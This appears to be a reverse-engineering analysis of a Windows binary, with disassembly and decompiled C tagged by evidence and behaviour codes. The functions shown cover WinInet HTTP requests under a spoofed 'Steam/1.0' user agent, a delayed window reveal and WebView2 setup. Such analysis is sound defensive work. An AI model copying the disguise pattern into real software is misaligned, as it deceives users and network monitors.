14000431d0f 84 d1 00 00 00JZ LAB_1400043f4
140004323c7 44 24 58 00 00 00 00MOV dword ptr [RSP + 0x58],0x0
14000432bc7 44 24 48 04 00 00 00MOV dword ptr [RSP + 0x48],0x4
14000433348 c7 44 24 20 00 00 00 …MOV qword ptr [RSP + 0x20],0x0
14000433c4c 8d 44 24 58LEA R8,[RSP + 0x58]
1400043414c 8d 4c 24 48LEA R9,[RSP + 0x48]
1400043464c 89 f1MOV RCX,R14
140004349ba 13 00 00 20MOV EDX,0x20000013
14000434eff 15 74 df 0a 00CALL qword ptr [PTR_HttpQueryInfoW_1400b22c8]
1400043548b 44 24 58MOV EAX,dword ptr [RSP + 0x58]
14000435889 46 08MOV dword ptr [RSI + 0x8],EAX
14000435bc7 44 24 44 00 00 00 00MOV dword ptr [RSP + 0x44],0x0
14000436348 8d 94 24 e0 02 00 00LEA RDX,[RSP + 0x2e0]
14000436b4c 8d 4c 24 44LEA R9,[RSP + 0x44]
1400043704c 89 f1MOV RCX,R14
14000437341 b8 00 20 00 00MOV R8D,0x2000
140004379ff 15 79 df 0a 00CALL qword ptr [PTR_InternetReadFile_1400b22f8]
14000437f85 c0TEST EAX,EAX
1400043810f 95 c1SETNZ CL
1400043848b 44 24 44MOV EAX,dword ptr [RSP + 0x44]
14000438885 c0TEST EAX,EAX
14000438a0f 95 c2SETNZ DL
14000438d20 caAND DL,CL
14000438f80 fa 01CMP DL,0x1
1400043920f 85 39 01 00 00JNZ LAB_1400044d1
14000439849 89 f7MOV R15,RSI
14000439b49 83 c7 10ADD R15,0x10
14000439f4c 8d a4 24 e0 02 00 00LEA R12,[RSP + 0x2e0]
1400043a74c 8d 6c 24 44LEA R13,[RSP + 0x44]
1400043ac48 8b 2d 45 df 0a 00MOV RBP,qword ptr [PTR_InternetReadFile_1400b22f8]
1400043b366 66 66 66 2e 0f 1f 84 …NOP dword ptr CS:[RAX + RAX*0x1]
LAB_1400043c0:
1400043c041 89 c0MOV R8D,EAX
1400043c34c 89 f9MOV RCX,R15
1400043c64c 89 e2MOV RDX,R12
1400043c9e8 b2 a6 00 00CALL FUN_14000ea80; FUN_14000ea80: memmove, memcpy
1400043ce4c 89 f1MOV RCX,R14
1400043d14c 89 e2MOV RDX,R12
1400043d441 b8 00 20 00 00MOV R8D,0x2000
1400043da4d 89 e9MOV R9,R13
1400043ddff d5CALL RBP
1400043df85 c0TEST EAX,EAX
1400043e10f 84 ea 00 00 00JZ LAB_1400044d1
1400043e78b 44 24 44MOV EAX,dword ptr [RSP + 0x44]
1400043eb85 c0TEST EAX,EAX
1400043ed75 d1JNZ LAB_1400043c0
1400043efe9 dd 00 00 00JMP LAB_1400044d1
LAB_1400043f4:
1400043f4ff 15 9e e4 0a 00CALL qword ptr [PTR_GetLastError_1400b2898]
1400043fa4c 8d 7c 24 58LEA R15,[RSP + 0x58]
1400043ff4c 89 f9MOV RCX,R15
14000440289 c2MOV EDX,EAX
140004404e8 f7 fb 00 00CALL FUN_140014000; FUN_140014000: memcpy
1400044094c 8d 05 bd 77 09 00LEA R8,[s_HttpSendRequest_failed_(_14009bbcd]; "HttpSendRequest failed ("
1400044104c 89 f9MOV RCX,R15
14000441331 d2XOR EDX,EDX
140004415e8 a6 aa 00 00CALL FUN_14000eec0; FUN_14000eec0: strlen
14000441a48 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000441e48 89 8c 24 f0 02 00 00MOV qword ptr [RSP + 0x2f0],RCX
1400044260f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400044290f 29 84 24 e0 02 00 00MOVAPS xmmword ptr [RSP + 0x2e0],XMM0
1400044310f 57 f6XORPS XMM6,XMM6
1400044340f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000443748 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000443f48 8d 15 a0 77 09 00LEA RDX,[DAT_14009bbe6]
14000444648 8d 8c 24 e0 02 00 00LEA RCX,[RSP + 0x2e0]
14000444ee8 fd a5 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
1400044530f b6 28MOVZX EBP,byte ptr [RAX]
14000445644 0f b6 78 01MOVZX R15D,byte ptr [RAX + 0x1]
14000445b48 8b 48 08MOV RCX,qword ptr [RAX + 0x8]
14000445f48 89 4c 24 4eMOV qword ptr [RSP + 0x4e],RCX
14000446448 8b 48 02MOV RCX,qword ptr [RAX + 0x2]
14000446848 89 4c 24 48MOV qword ptr [RSP + 0x48],RCX
14000446d4c 8b 60 10MOV R12,qword ptr [RAX + 0x10]
1400044710f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000447448 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000447cf6 46 28 01TEST byte ptr [RSI + 0x28],0x1
14000448074 09JZ LAB_14000448b
14000448248 8b 4e 38MOV RCX,qword ptr [RSI + 0x38]
140004486e8 55 b4 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_14000448b:
14000448b40 88 6e 28MOV byte ptr [RSI + 0x28],BPL
14000448f44 88 7e 29MOV byte ptr [RSI + 0x29],R15B
14000449348 8b 44 24 48MOV RAX,qword ptr [RSP + 0x48]
14000449848 8b 4c 24 4eMOV RCX,qword ptr [RSP + 0x4e]
14000449d48 89 46 2aMOV qword ptr [RSI + 0x2a],RAX
1400044a148 89 4e 30MOV qword ptr [RSI + 0x30],RCX
1400044a54c 89 66 38MOV qword ptr [RSI + 0x38],R12
1400044a9f6 84 24 e0 02 00 00 01TEST byte ptr [RSP + 0x2e0],0x1
1400044b174 0dJZ LAB_1400044c0
1400044b348 8b 8c 24 f0 02 00 00MOV RCX,qword ptr [RSP + 0x2f0]
1400044bbe8 20 b4 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400044c0:
1400044c0f6 44 24 58 01TEST byte ptr [RSP + 0x58],0x1
1400044c574 0aJZ LAB_1400044d1
1400044c748 8b 4c 24 68MOV RCX,qword ptr [RSP + 0x68]
1400044cce8 0f b4 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400044d1:
1400044d14c 89 f1MOV RCX,R14
1400044d4ff 15 fe dd 0a 00CALL qword ptr [PTR_InternetCloseHandle_1400b22d8]
LAB_1400044da:
1400044da48 89 d9MOV RCX,RBX
1400044ddff 15 f5 dd 0a 00CALL qword ptr [PTR_InternetCloseHandle_1400b22d8]
1400044e3f6 47 50 01TEST byte ptr [RDI + 0x50],0x1
1400044e70f 85 bd fc ff ffJNZ LAB_1400041aa
1400044ede9 c1 fc ff ffJMP LAB_1400041b3
LAB_1400044f2:
1400044f248 8d 0d 77 4f 0c 00LEA RCX,[DAT_1400c9470]
1400044f9e8 2a bd 01 00CALL FUN_140020228; FUN_140020228: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx
1400044fe85 c0TEST EAX,EAX
1400045000f 84 52 fb ff ffJZ LAB_140004058
140004506e8 75 00 00 00CALL internet_init; → internet_init (B3, E4)
14000450b48 89 05 56 4f 0c 00MOV qword ptr [DAT_1400c9468],RAX
14000451248 8d 0d 57 4f 0c 00LEA RCX,[DAT_1400c9470]
140004519e8 cc bd 01 00CALL FUN_1400202ea; FUN_1400202ea: WakeAllConditionVariable, __acrt_iob_func
14000451ee9 35 fb ff ffJMP LAB_140004058

internet_init

0x140004580147 bytes
longlong internet_init(void)

Initialises WinInet session handle with InternetOpenA

Cited as
E4
Behaviours
B3
Called from
http_request
Calls
InternetOpenW InternetSetOptionW
Decompiled C · 21 lines
longlong internet_init(void)

{
  longlong lVar1;
  undefined4 local_1c;
  undefined4 local_18;
  undefined4 local_14;
  
  lVar1 = InternetOpenW(L"Steam/1.0",0,0,0,0);
  if (lVar1 != 0) {
    local_14 = 15000;
    local_18 = 15000;
    local_1c = 30000;
    InternetSetOptionW(lVar1,2,&local_14,4);
    InternetSetOptionW(lVar1,5,&local_18,4);
    InternetSetOptionW(lVar1,6,&local_1c,4);
  }
  return lVar1;
}

Assembly · 36 instructions, 1 annotated
AddressBytesInstructionComment
14000458056PUSH RSI
14000458157PUSH RDI
14000458248 83 ec 38SUB RSP,0x38
140004586c7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_28],0x0
14000458e48 8d 0d 53 76 09 00LEA RCX,[u_Steam/1.0_14009bbe8]; "Steam/1.0"
14000459531 d2XOR EDX,EDX
14000459745 31 c0XOR R8D,R8D
14000459a45 31 c9XOR R9D,R9D
14000459dff 15 4d dd 0a 00CALL qword ptr [PTR_InternetOpenW_1400b22f0]
1400045a348 89 c6MOV RSI,RAX
1400045a648 85 c0TEST RAX,RAX
1400045a974 5eJZ LAB_140004609
1400045abc7 44 24 34 98 3a 00 00MOV dword ptr [RSP + local_14],0x3a98
1400045b3c7 44 24 30 98 3a 00 00MOV dword ptr [RSP + local_18],0x3a98
1400045bbc7 44 24 2c 30 75 00 00MOV dword ptr [RSP + local_1c],0x7530
1400045c348 8b 3d 36 dd 0a 00MOV RDI,qword ptr [PTR_InternetSetOptionW_1400b2300]
1400045ca4c 8d 44 24 34LEA R8,[RSP + 0x34]
1400045cf48 89 f1MOV RCX,RSI
1400045d2ba 02 00 00 00MOV EDX,0x2
1400045d741 b9 04 00 00 00MOV R9D,0x4
1400045ddff d7CALL RDI
1400045df4c 8d 44 24 30LEA R8,[RSP + 0x30]
1400045e448 89 f1MOV RCX,RSI
1400045e7ba 05 00 00 00MOV EDX,0x5
1400045ec41 b9 04 00 00 00MOV R9D,0x4
1400045f2ff d7CALL RDI
1400045f44c 8d 44 24 2cLEA R8,[RSP + 0x2c]
1400045f948 89 f1MOV RCX,RSI
1400045fcba 06 00 00 00MOV EDX,0x6
14000460141 b9 04 00 00 00MOV R9D,0x4
140004607ff d7CALL RDI
LAB_140004609:
14000460948 89 f0MOV RAX,RSI
14000460c48 83 c4 38ADD RSP,0x38
1400046105fPOP RDI
1400046115ePOP RSI
140004612c3RET

http_request_builder

0x140004620671 bytes
ulonglong http_request_builder(byte * param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Constructs HTTP request parameters from global state and string operations, helper for http_request

Cited as
E22
Behaviours
B3
Called from
file_reader, file_writer
Calls
FUN_140002e30, FUN_140004b30, FUN_140005050, FUN_1400160f0, FUN_14001b1a0, FUN_14001f8e0
Decompiled C · 147 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

ulonglong http_request_builder(byte *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ushort uVar1;
  void *pvVar2;
  ulonglong uVar3;
  ulonglong *in_RDX;
  int *piVar4;
  undefined8 in_R8;
  int *piVar5;
  ulonglong in_R9;
  void *pvVar6;
  longlong lVar7;
  bool bVar8;
  undefined8 local_a8;
  int *piStack_a0;
  void *local_98;
  undefined8 local_88;
  int *piStack_80;
  void *local_78;
  byte local_70;
  undefined7 uStack_6f;
  int *piStack_68;
  void *local_60;
  ulonglong local_58;
  undefined8 uStack_50;
  void *local_48;
  int local_38 [2];
  undefined **local_30;
  ulonglong local_28;
  undefined8 uStack_20;
  void *local_18;
  
  local_38[0] = 0;
  local_30 = FUN_1400160f0(param_1,in_RDX,in_R8,in_R9);
  piVar5 = local_38;
  FUN_14001b1a0((ulonglong *)&local_70,param_2,param_3,param_4);
  FUN_140002e30((byte *)&local_58,param_1);
  local_18 = local_48;
  local_28 = local_58;
  uStack_20 = uStack_50;
  local_58 = 0;
  uStack_50 = 0;
  local_48 = (void *)0x0;
  if ((DAT_1400c9438 & 1) == 0) {
    local_98 = DAT_1400c9448;
    local_a8 = CONCAT71(_DAT_1400c9439,DAT_1400c9438);
    piStack_a0 = DAT_1400c9440;
  }
  else {
    piVar5 = DAT_1400c9440;
    FUN_140004b30(&local_a8,DAT_1400c9448,(ulonglong)DAT_1400c9440,in_R9);
  }
  FUN_140005050(&local_a8,&local_28,(size_t)piVar5,in_R9);
  FUN_14001b1a0(&local_88,param_2,param_3,param_4);
  if ((*in_RDX & 1) != 0) {
    FUN_14001f8e0((void *)in_RDX[2]);
  }
  in_RDX[2] = (ulonglong)local_78;
  *in_RDX = local_88;
  in_RDX[1] = (ulonglong)piStack_80;
  uVar3 = local_88 >> 0x20;
  uVar1 = (ushort)local_88;
  local_88._0_4_ = (uint)(uVar1 & 0xff00);
  local_88 = CONCAT44((int)uVar3,(uint)local_88);
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if ((local_28 & 1) != 0) {
    FUN_14001f8e0(local_18);
  }
  if ((local_58 & 1) != 0) {
    FUN_14001f8e0(local_48);
  }
  if (local_38[0] != 0) {
    in_RDX = (ulonglong *)0x0;
    goto joined_r0x0001400048b4;
  }
  if ((local_70 & 1) == 0) {
    local_78 = local_60;
    local_88 = CONCAT71(uStack_6f,local_70);
    piStack_80 = piStack_68;
  }
  else {
    FUN_140004b30(&local_88,local_60,(ulonglong)piStack_68,in_R9);
  }
  if ((*in_RDX & 1) == 0) {
    local_98 = (void *)in_RDX[2];
    local_a8 = *in_RDX;
    piStack_a0 = (int *)in_RDX[1];
  }
  else {
    FUN_140004b30(&local_a8,(void *)in_RDX[2],in_RDX[1],in_R9);
  }
  piVar5 = piStack_a0;
  if ((local_a8 & 1) == 0) {
    piVar5 = (int *)(local_a8 >> 1 & 0x7f);
  }
  if ((local_88 & 1) == 0) {
    piVar4 = (int *)(ulonglong)((byte)local_88 >> 1);
    if (piVar4 < piVar5) goto LAB_140004836;
LAB_14000482b:
    in_RDX = (ulonglong *)0x0;
  }
  else {
    piVar4 = piStack_80;
    if (piVar5 <= piStack_80) goto LAB_14000482b;
LAB_140004836:
    if (piVar4 == (int *)0x0) {
      in_RDX = (ulonglong *)CONCAT71((int7)((ulonglong)in_RDX >> 8),1);
    }
    else {
      pvVar2 = local_78;
      if ((local_88 & 1) == 0) {
        pvVar2 = (void *)((longlong)&local_88 + 2);
      }
      pvVar6 = local_98;
      if ((local_a8 & 1) == 0) {
        pvVar6 = (void *)((longlong)&local_a8 + 2);
      }
      lVar7 = 0;
      do {
        bVar8 = *(short *)((longlong)pvVar6 + lVar7 * 2) == *(short *)((longlong)pvVar2 + lVar7 * 2)
        ;
        in_RDX = (ulonglong *)CONCAT71((int7)((ulonglong)in_RDX >> 8),bVar8);
        if (!bVar8) break;
        bVar8 = (longlong)piVar4 - 1U != lVar7;
        lVar7 = lVar7 + 1;
      } while (bVar8);
    }
  }
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if (((byte)local_88 & 1) != 0) {
    FUN_14001f8e0(local_78);
  }
joined_r0x0001400048b4:
  if ((local_70 & 1) != 0) {
    FUN_14001f8e0(local_60);
  }
  return (ulonglong)in_RDX & 0xffffffff;
}

Assembly · 160 instructions, 15 annotated
AddressBytesInstructionComment
14000462056PUSH RSI
14000462157PUSH RDI
14000462248 81 ec b8 00 00 00SUB RSP,0xb8
14000462948 89 d6MOV RSI,RDX
14000462c48 89 cfMOV RDI,RCX
14000462fc7 84 24 90 00 00 00 00 …MOV dword ptr [RSP + local_38],0x0
14000463ae8 b1 1a 01 00CALL FUN_1400160f0; FUN_1400160f0: SleepConditionVariableSRW, __acrt_iob_func, RtlUnwindEx, WakeAllConditionVariable
14000463f48 89 84 24 98 00 00 00MOV qword ptr [RSP + local_30],RAX
14000464748 8d 15 ea 4d 0c 00LEA RDX,[DAT_1400c9438]
14000464e48 8d 4c 24 58LEA RCX,[RSP + 0x58]
1400046534c 8d 84 24 90 00 00 00LEA R8,[RSP + 0x90]
14000465be8 40 6b 01 00CALL FUN_14001b1a0; FUN_14001b1a0: GetLastError, CreateFileW, CloseHandle, memcpy +2
14000466048 8d 4c 24 70LEA RCX,[RSP + 0x70]
14000466548 89 faMOV RDX,RDI
140004668e8 c3 e7 ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
14000466d48 8b 84 24 80 00 00 00MOV RAX,qword ptr [RSP + local_48]
14000467548 89 84 24 b0 00 00 00MOV qword ptr [RSP + local_18],RAX
14000467d0f 28 44 24 70MOVAPS XMM0,xmmword ptr [RSP + local_58[0]]
1400046820f 29 84 24 a0 00 00 00MOVAPS xmmword ptr [RSP + local_28[0]],XMM0
14000468a0f 57 c0XORPS XMM0,XMM0
14000468d0f 29 44 24 70MOVAPS xmmword ptr [RSP + local_58[0]],XMM0
14000469248 c7 84 24 80 00 00 00 …MOV qword ptr [RSP + local_48],0x0
14000469ef6 05 93 4d 0c 00 01TEST byte ptr [DAT_1400c9438],0x1
1400046a575 1aJNZ LAB_1400046c1
1400046a748 8b 05 9a 4d 0c 00MOV RAX,qword ptr [DAT_1400c9448]
1400046ae48 89 44 24 30MOV qword ptr [RSP + local_98],RAX
1400046b30f 10 05 7e 4d 0c 00MOVUPS XMM0,xmmword ptr [DAT_1400c9438]
1400046ba0f 29 44 24 20MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
1400046bfeb 18JMP LAB_1400046d9
LAB_1400046c1:
1400046c148 8b 15 80 4d 0c 00MOV RDX,qword ptr [DAT_1400c9448]
1400046c84c 8b 05 71 4d 0c 00MOV R8,qword ptr [DAT_1400c9440]
1400046cf48 8d 4c 24 20LEA RCX,[RSP + 0x20]
1400046d4e8 57 04 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_1400046d9:
1400046d948 8d 4c 24 20LEA RCX,[RSP + 0x20]
1400046de48 8d 94 24 a0 00 00 00LEA RDX,[RSP + 0xa0]
1400046e6e8 65 09 00 00CALL FUN_140005050; FUN_140005050: __acrt_iob_func, RtlUnwindEx, memmove
1400046eb48 8d 4c 24 40LEA RCX,[RSP + 0x40]
1400046f048 8d 54 24 20LEA RDX,[RSP + 0x20]
1400046f54c 8d 84 24 90 00 00 00LEA R8,[RSP + 0x90]
1400046fde8 9e 6a 01 00CALL FUN_14001b1a0; FUN_14001b1a0: GetLastError, CreateFileW, CloseHandle, memcpy +2
140004702f6 06 01TEST byte ptr [RSI],0x1
14000470574 09JZ LAB_140004710
14000470748 8b 4e 10MOV RCX,qword ptr [RSI + 0x10]
14000470be8 d0 b1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140004710:
14000471048 8b 44 24 50MOV RAX,qword ptr [RSP + local_78]
14000471548 89 46 10MOV qword ptr [RSI + 0x10],RAX
1400047190f 10 44 24 40MOVUPS XMM0,xmmword ptr [RSP + local_88[0]]
14000471e0f 11 06MOVUPS xmmword ptr [RSI],XMM0
140004721c6 44 24 40 00MOV byte ptr [RSP + local_88[0]],0x0
14000472666 c7 44 24 42 00 00MOV word ptr [RSP + local_88[2]],0x0
14000472df6 44 24 20 01TEST byte ptr [RSP + local_a8[0]],0x1
14000473275 49JNZ LAB_14000477d
140004734f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_28[0]],0x1
14000473c75 53JNZ LAB_140004791
LAB_14000473e:
14000473ef6 44 24 70 01TEST byte ptr [RSP + local_58[0]],0x1
14000474374 0dJZ LAB_140004752
LAB_140004745:
14000474548 8b 8c 24 80 00 00 00MOV RCX,qword ptr [RSP + local_48]
14000474de8 8e b1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140004752:
14000475283 bc 24 90 00 00 00 00CMP dword ptr [RSP + local_38],0x0
14000475a0f b6 44 24 58MOVZX EAX,byte ptr [RSP + local_70[0]]
14000475f74 46JZ LAB_1400047a7
14000476131 f6XOR ESI,ESI
140004763a8 01TEST AL,0x1
14000476574 0aJZ LAB_140004771
LAB_140004767:
14000476748 8b 4c 24 68MOV RCX,qword ptr [RSP + local_60]
14000476ce8 6f b1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140004771:
14000477189 f0MOV EAX,ESI
14000477348 81 c4 b8 00 00 00ADD RSP,0xb8
14000477a5fPOP RDI
14000477b5ePOP RSI
14000477cc3RET
LAB_14000477d:
14000477d48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98]
140004782e8 59 b1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140004787f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_28[0]],0x1
14000478f74 adJZ LAB_14000473e
LAB_140004791:
14000479148 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + local_18]
140004799e8 42 b1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000479ef6 44 24 70 01TEST byte ptr [RSP + local_58[0]],0x1
1400047a375 a0JNZ LAB_140004745
1400047a5eb abJMP LAB_140004752
LAB_1400047a7:
1400047a7a8 01TEST AL,0x1
1400047a975 16JNZ LAB_1400047c1
1400047ab48 8b 44 24 68MOV RAX,qword ptr [RSP + local_60]
1400047b048 89 44 24 50MOV qword ptr [RSP + local_78],RAX
1400047b50f 10 44 24 58MOVUPS XMM0,xmmword ptr [RSP + local_70[0]]
1400047ba0f 29 44 24 40MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
1400047bfeb 14JMP LAB_1400047d5
LAB_1400047c1:
1400047c14c 8b 44 24 60MOV R8,qword ptr [RSP + local_70[8]]
1400047c648 8b 54 24 68MOV RDX,qword ptr [RSP + local_60]
1400047cb48 8d 4c 24 40LEA RCX,[RSP + 0x40]
1400047d0e8 5b 03 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_1400047d5:
1400047d5f6 06 01TEST byte ptr [RSI],0x1
1400047d875 13JNZ LAB_1400047ed
1400047da48 8b 46 10MOV RAX,qword ptr [RSI + 0x10]
1400047de48 89 44 24 30MOV qword ptr [RSP + local_98],RAX
1400047e30f 10 06MOVUPS XMM0,xmmword ptr [RSI]
1400047e60f 29 44 24 20MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
1400047ebeb 12JMP LAB_1400047ff
LAB_1400047ed:
1400047ed4c 8b 46 08MOV R8,qword ptr [RSI + 0x8]
1400047f148 8b 56 10MOV RDX,qword ptr [RSI + 0x10]
1400047f548 8d 4c 24 20LEA RCX,[RSP + 0x20]
1400047fae8 31 03 00 00CALL FUN_140004b30; FUN_140004b30: memmove
LAB_1400047ff:
1400047ff0f b6 44 24 20MOVZX EAX,byte ptr [RSP + local_a8[0]]
140004804a8 01TEST AL,0x1
14000480674 07JZ LAB_14000480f
1400048084c 8b 44 24 28MOV R8,qword ptr [RSP + local_a8[8]]
14000480deb 06JMP LAB_140004815
LAB_14000480f:
14000480f41 89 c0MOV R8D,EAX
14000481241 d1 e8SHR R8D,0x1
LAB_140004815:
1400048150f b6 54 24 40MOVZX EDX,byte ptr [RSP + local_88[0]]
14000481a89 d1MOV ECX,EDX
14000481c80 e1 01AND CL,0x1
14000481f74 0eJZ LAB_14000482f
14000482148 8b 54 24 48MOV RDX,qword ptr [RSP + local_88[8]]
14000482649 39 d0CMP R8,RDX
14000482977 0bJA LAB_140004836
LAB_14000482b:
14000482b31 f6XOR ESI,ESI
14000482deb 5aJMP LAB_140004889
LAB_14000482f:
14000482fd1 eaSHR EDX,0x1
14000483149 39 d0CMP R8,RDX
14000483476 f5JBE LAB_14000482b
LAB_140004836:
14000483648 85 d2TEST RDX,RDX
14000483974 14JZ LAB_14000484f
14000483b84 c9TEST CL,CL
14000483d74 15JZ LAB_140004854
14000483f4c 8b 44 24 50MOV R8,qword ptr [RSP + local_78]
140004844a8 01TEST AL,0x1
14000484675 15JNZ LAB_14000485d
LAB_140004848:
1400048484c 8d 4c 24 22LEA R9,[RSP + 0x22]
14000484deb 13JMP LAB_140004862
LAB_14000484f:
14000484f40 b6 01MOV SIL,0x1
140004852eb 35JMP LAB_140004889
LAB_140004854:
1400048544c 8d 44 24 42LEA R8,[RSP + 0x42]
140004859a8 01TEST AL,0x1
14000485b74 ebJZ LAB_140004848
LAB_14000485d:
14000485d4c 8b 4c 24 30MOV R9,qword ptr [RSP + local_98]
LAB_140004862:
14000486248 ff caDEC RDX
14000486545 31 d2XOR R10D,R10D
1400048680f 1f 84 00 00 00 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_140004870:
14000487047 0f b7 1c 51MOVZX R11D,word ptr [R9 + R10*0x2]
14000487566 47 3b 1c 50CMP R11W,word ptr [R8 + R10*0x2]
14000487a40 0f 94 c6SETZ SIL
14000487e75 09JNZ LAB_140004889
1400048804c 39 d2CMP RDX,R10
1400048834d 8d 52 01LEA R10,[R10 + 0x1]
14000488775 e7JNZ LAB_140004870
LAB_140004889:
140004889a8 01TEST AL,0x1
14000488b74 12JZ LAB_14000489f
14000488d48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98]
140004892e8 49 b0 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400048970f b6 4c 24 40MOVZX ECX,byte ptr [RSP + local_88[0]]
14000489c80 e1 01AND CL,0x1
LAB_14000489f:
14000489f84 c9TEST CL,CL
1400048a174 0aJZ LAB_1400048ad
1400048a348 8b 4c 24 50MOV RCX,qword ptr [RSP + local_78]
1400048a8e8 33 b0 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400048ad:
1400048ad0f b6 44 24 58MOVZX EAX,byte ptr [RSP + local_70[0]]
1400048b2a8 01TEST AL,0x1
1400048b40f 85 ad fe ff ffJNZ LAB_140004767
1400048bae9 b2 fe ff ffJMP LAB_140004771

timer_reveal

0x14000496079 bytes
undefined timer_reveal(undefined8 param_1, undefined8 param_2, UINT_PTR param_3)

Timer callback that shows the main window after delay

Cited as
E12
Behaviours
B7
Called from
none found
Calls
KillTimer ShowWindow
Decompiled C · 15 lines
void timer_reveal(undefined8 param_1,undefined8 param_2,UINT_PTR param_3)

{
  KillTimer(DAT_1400c9450,param_3);
  if (DAT_1400c9458 != (longlong *)0x0) {
    (**(code **)(*DAT_1400c9458 + 0x20))(DAT_1400c9458,1);
  }
  ShowWindow(DAT_1400c9450,5);
                    /* WARNING: Could not recover jumptable at 0x0001400049a8. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  SetForegroundWindow(DAT_1400c9450);
  return;
}

Assembly · 16 instructions, 0 annotated
AddressBytesInstructionComment
14000496048 83 ec 28SUB RSP,0x28
1400049644c 89 c2MOV RDX,R8
14000496748 8b 0d e2 4a 0c 00MOV RCX,qword ptr [DAT_1400c9450]
14000496eff 15 e4 d9 0a 00CALL qword ptr [PTR_KillTimer_1400b2358]
14000497448 8b 0d dd 4a 0c 00MOV RCX,qword ptr [DAT_1400c9458]
14000497b48 85 c9TEST RCX,RCX
14000497e74 0bJZ LAB_14000498b
14000498048 8b 01MOV RAX,qword ptr [RCX]
140004983ba 01 00 00 00MOV EDX,0x1
140004988ff 50 20CALL qword ptr [RAX + 0x20]
LAB_14000498b:
14000498b48 8b 0d be 4a 0c 00MOV RCX,qword ptr [DAT_1400c9450]
140004992ba 05 00 00 00MOV EDX,0x5
140004997ff 15 1b da 0a 00CALL qword ptr [PTR_ShowWindow_1400b23b8]
14000499d48 8b 0d ac 4a 0c 00MOV RCX,qword ptr [DAT_1400c9450]
1400049a448 83 c4 28ADD RSP,0x28
1400049a848 ff 25 f1 d9 0a 00JMP qword ptr [PTR_SetForegroundWindow_1400b23a0]

webview2_setup

0x1400056b0830 bytes
undefined8 webview2_setup(undefined8 param_1, int param_2, longlong * param_3, undefined8 param_4)

Creates WebView2 controller and configures COM environment, references the original file URLs

Cited as
E5
Behaviours
B2
Called from
none found
Calls
GetClientRect IsZoomed FUN_14001f800, FUN_14001f8e0, memcpy
Decompiled C · 135 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 webview2_setup(undefined8 param_1,int param_2,longlong *param_3,undefined8 param_4)

{
  longlong *plVar1;
  int iVar2;
  BOOL BVar3;
  undefined8 *puVar4;
  void *_Dst;
  LONG *pLVar5;
  longlong **pplVar6;
  ulonglong _Size;
  wchar_t *_Src;
  undefined8 uVar7;
  longlong lVar8;
  longlong *local_a8;
  longlong *local_a0;
  longlong *local_98;
  undefined8 uStack_90;
  undefined8 local_88;
  undefined8 uStack_80;
  undefined8 local_78;
  undefined8 uStack_70;
  undefined4 local_68;
  undefined4 uStack_64;
  undefined4 uStack_60;
  undefined4 uStack_5c;
  undefined4 local_58;
  undefined2 local_54;
  LONG local_48;
  LONG LStack_44;
  LONG LStack_40;
  LONG LStack_3c;
  tagRECT local_38 [2];
  
  if (param_3 != (longlong *)0x0 && -1 < param_2) {
    DAT_1400c9458 = param_3;
    (**(code **)(*param_3 + 8))(param_3);
    (**(code **)(*param_3 + 200))(param_3,&DAT_1400c9460);
    (**(code **)(*param_3 + 0x20))(param_3,0);
    local_a0 = (longlong *)0x0;
    pplVar6 = &local_a0;
    iVar2 = (**(code **)*param_3)(param_3,&DAT_14009e3d4);
    if (local_a0 != (longlong *)0x0 && -1 < iVar2) {
      (**(code **)(*local_a0 + 0xd8))(local_a0,0x1f1b1bff);
      (**(code **)(*local_a0 + 0x10))();
    }
    local_a8 = (longlong *)0x0;
    iVar2 = (**(code **)(*DAT_1400c9460 + 0x18))(DAT_1400c9460,&local_a8);
    if (local_a8 != (longlong *)0x0 && -1 < iVar2) {
      (**(code **)(*local_a8 + 0x70))(local_a8,0);
      (**(code **)(*local_a8 + 0x40))(local_a8,0);
      (**(code **)(*local_a8 + 0x50))(local_a8,0);
      (**(code **)(*local_a8 + 0x60))(local_a8,0);
      (**(code **)(*local_a8 + 0x90))(local_a8,0);
      local_98 = (longlong *)0x0;
      pplVar6 = &local_98;
      iVar2 = (**(code **)*local_a8)(local_a8,&DAT_14009f234);
      if (local_98 != (longlong *)0x0 && -1 < iVar2) {
        (**(code **)(*local_98 + 0x120))(local_98,0);
        (**(code **)(*local_98 + 0x10))();
      }
      (**(code **)(*local_a8 + 0x10))();
    }
    GetClientRect(DAT_1400c9450,local_38);
    local_48 = local_38[0].left;
    LStack_44 = local_38[0].top;
    LStack_40 = local_38[0].right;
